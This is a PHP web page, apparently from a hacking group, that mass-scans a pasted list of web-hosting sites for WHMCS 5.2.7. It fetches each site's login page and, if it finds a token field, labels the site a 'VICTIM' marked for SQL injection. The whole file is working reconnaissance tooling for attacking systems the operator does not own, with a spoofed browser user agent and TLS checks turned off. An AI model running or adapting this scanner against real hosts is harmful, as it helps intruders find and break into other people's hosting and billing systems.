Scan Vuln WHMCS 5.2.7 + Curl

<head><title>./Scan 5.2.7</title></head>
<form method=POST><center><br />
<h3>LIST WEBHOSTING WHMCS </h3>
<textarea rows="15" cols="50" name="listwebtarget"/></textarea><br/><br/>
<input type=submit name=marimulai value=" Start Scan "></form></center>
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
@ini_set('memory_limit', '64M');
@ini_set('max_execution_time',0);
if(isset($_POST['marimulai'])) {
if($_POST['listwebtarget'] == "") {
echo '<script type="text/javascript">
var x=window.confirm("List Website Belum Di Isi, Apakah Anda Ingin Coba Lagi  ? ")
if (x)window.alert(" Terima Kasih, Anda Memang Ganteng :P")
else
window.alert(" Terima Kasih, Anda Dafuq Sekali :P ")
</script>';
break;
}
echo "<br /><br />";
$urltarget = explode("\n",$_POST['listwebtarget']);
foreach($urltarget as $urlvictim) {
$urlsite = trim($urlvictim);
$urlvictimm = dirname($urlsite) . '/login.php';
$urlvictimmm= str_replace("/admin","",$urlvictimm);
$urlvictimclear1 = ereg_replace("(https?)://", "", $urlvictimmm);
$urlvictimclear2 = ereg_replace("www.", "", $urlvictimclear1);
$urltargetvictim = "http://".$urlvictimclear2;
$mycurl = curl_init();
curl_setopt($mycurl, CURLOPT_URL, $urltargetvictim);
curl_setopt($mycurl, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3");
curl_setopt($mycurl, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($mycurl, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($mycurl, CURLOPT_RETURNTRANSFER, true);
$hasil = curl_exec($mycurl);
if(eregi('name="token" value="', $hasil)) {
$site = ereg_replace("(https?)://","", $urltargetvictim);
$siteclear = ereg_replace("login.php", "register.php",$site);
$websitevictim ="http://".$siteclear;
echo "<nobr>[~] VICTIM : <a href='$websitevictim' style='text-decoration: none'>{$websitevictim}</a></nobr><br/>
<nobr>[~] STATUS : <font color=green>Try 5.2.7 SQL Injection</font></nobr><br /><br />";
} else {
echo "<nobr>[~] VICTIM : $urlvictim</nobr><br/>
<nobr>[~] STATUS : <font color=red>Not Vulnerable 5.2.7 Injection</font></nobr><br /><br />";
}
flush();
flush();
}
}
?>
<br/><br/><center><h3>Coded By <a href="http://www.facebook.com/PeZeEf">Andripzf</a><br /><a href="http://www.facebook.com/groups/D.MASTERPIECE">D'MASTERPIECE [DM]</a></h3></center>